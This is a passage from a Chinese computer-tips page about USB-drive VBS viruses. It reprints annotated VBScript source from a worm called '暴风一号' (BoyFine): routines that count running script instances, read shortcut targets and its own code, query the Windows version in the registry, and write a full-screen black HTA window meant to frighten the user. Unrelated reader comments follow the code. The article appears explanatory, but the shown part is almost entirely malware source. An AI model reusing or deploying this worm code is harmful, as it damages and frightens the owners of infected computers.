u盘中了vbs病毒怎么办_u盘vbs病毒杀不干净_vbs病毒(12)
电脑杂谈 发布时间：2017-01-12 13:12:49 来源：网络整理End If
Next
End Function
Function PreDblInstance()'用来计数wscript进程的个数，如果大于等于3个那么返回True
On Error Resume Next
PreDblInstance=False
If VBSProcessCount(WScript.ScriptFullName)>= 3 Then
PreDblInstance=True
End If
End Function
Function GetTargetPath(LnkPath)'获取快捷方式的vbs脚本地址
On Error Resume Next
Dim Shortcut
Set Shortcut=WshShell.CreateShortcut(LnkPath)
GetTargetPath=Shortcut.TargetPath
End Function
Function GetCode(FullPath)'获取文件的所有代码
On Error Resume Next
Dim FileText
Set FileText=FSO.OpenTextFile(FullPath, 1)
GetCode=FileText.ReadAll
FileText.Close
End Function
Function GetVersion()'获取windows版本
Dim VerInfo
VerInfo='HKEY_CURRENT_USER\SoftWare\Microsoft\WindowsNT\CurrentVersion\Windows\Ver'
If ReadReg(VerInfo)='' Then
GetVersion=0
Else
GetVersion=CInt(ReadReg(VerInfo))
End If
End Function
Sub VirusAlert()'创建一个BFAlert.hta，然后打开该网页，黑黑的，什么都没有，吓人的
On Error Resume Next
Dim HtaPath,HtaCode
HtaPath=Fso.GetSpecialFolder(1)&'\BFAlert.hta'
HtaCode='<HTML><HEAD><TITLE>暴风一号</TITLE>'&VBCRLF&'<HTA:APPLICATIONAPPLICATIONNAME=''BoyFine V1.0'' SCROLL=''no''windowstate=''maximize''none'''&VBCRLF&'SINGLEINSTANCE=''yes''CAPTION=''no'' contextMenu=''no'' ShowInTaskBar=''no''selection=''no''>'&VBCRLF&'</HEAD><BODYbgcolor=#000000><DIV align=''center''>'&VBCRLF&'<fontfont-size:3500%;font-family:Wingdings;color=red''>N</font><BR>'&VBCRLF&'<fontfont-size:200%;font-family:黑体;color=red''>暴风一号</font>'&VBCRLF&'</DIV></BODY></HTML>'
本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/jisuanjixue/article-25802-12.html
-
-
符史科
我看没有谁会有兴趣来判断这是不是屁话
-
张景源
现在美国佬派出3艘驱逐舰是来干扰的
超级计算TOP500列表，让我看看列表背后的存储能力
二进制搜索树（即二进制排序树）的c程序实现和第一根命令的输出
holoyong
凭号查到手机号过年期间 亲戚朋友都回家相聚 选择这段时
没有捕捉到美舰的动向